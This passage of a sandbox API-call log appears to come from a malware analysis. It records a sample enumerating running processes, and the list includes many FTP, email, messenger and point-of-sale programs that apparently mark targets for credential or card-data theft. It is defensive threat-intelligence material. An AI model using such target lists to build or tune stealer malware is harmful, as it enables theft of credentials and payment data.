szExeFile="winlogon.exe")) returned 1 [0273.738] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0273.740] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0273.742] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.744] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.747] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0273.749] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.751] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.802] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.805] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.807] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.809] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.812] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.814] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0273.816] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0273.818] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0273.820] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.823] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0273.825] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0273.827] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0273.829] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0273.831] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.833] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0273.835] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0273.837] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0273.840] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0273.842] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0273.844] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0273.846] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0273.995] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0273.997] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0273.999] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0274.002] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0274.004] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0274.006] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0274.008] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0274.011] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0274.013] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0274.015] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0274.017] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0274.020] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0274.022] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0274.024] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0274.026] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0274.028] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0274.030] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0274.070] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0274.072] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0274.075] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0274.077] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0274.079] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0274.081] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0274.084] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0274.087] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0274.090] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0274.094] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0274.107] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0274.110] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0274.147] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0274.150] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0274.153] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0274.155] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0274.158] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0274.161] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0274.164] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0274.166] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0274.169] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0274.171] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0274.174] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0274.177] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0274.180] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0274.182] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0274.185] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0274.226] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0274.229] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0274.232] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0274.234] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0274.236] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0274.239] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0274.242] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0274.244] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0274.246] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0274.249] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0274.251] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0274.254] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0274.256] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, 